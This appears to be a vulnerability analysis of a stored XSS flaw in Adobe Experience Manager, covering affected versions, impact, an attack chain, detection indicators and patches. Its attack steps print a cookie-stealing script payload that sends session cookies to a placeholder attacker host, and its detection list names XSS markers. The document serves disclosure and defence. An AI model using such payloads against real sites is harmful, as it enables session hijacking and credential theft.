CVE-2025-64794: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64794 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, as part of Adobe's security advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and later executed in the browser of any user who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, with the attack vector being network-based and the scope changed (affecting resources beyond the vulnerable component). Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, resulting in limited confidentiality and integrity impacts (CVSS C:L/I:L/A:N). This could enable session hijacking, credential theft, phishing, unauthorized actions performed on behalf of the victim, or further lateral movement within the AEM environment. The changed scope indicates that the impact extends beyond the attacker's own session to affect other users of the platform (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service versions prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept user-supplied input and render it without proper sanitization.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser.
6. Achieve objective: Harvest session cookies, perform unauthorized actions on behalf of the victim, or pivot further within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded XSS payloads from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript content (e.g., <script>, onerror=, javascript:) stored within AEM JCR nodes or page properties.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; potential exfiltration of session tokens or cookies to attacker-controlled infrastructure.
• Logs: AEM error logs or browser console errors related to Content Security Policy (CSP) violations triggered by injected scripts.

Adobe has released patches addressing CVE-2025-64794 in AEM 6.5.24.0 (on-premises, LTS) and AEM as a Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround, enforcing a strict Content Security Policy (CSP) on AEM instances can reduce the risk of XSS exploitation. Restricting content authoring permissions to trusted users can also limit the attack surface (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution and other impacts. Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE (CIS Advisory, Tenable).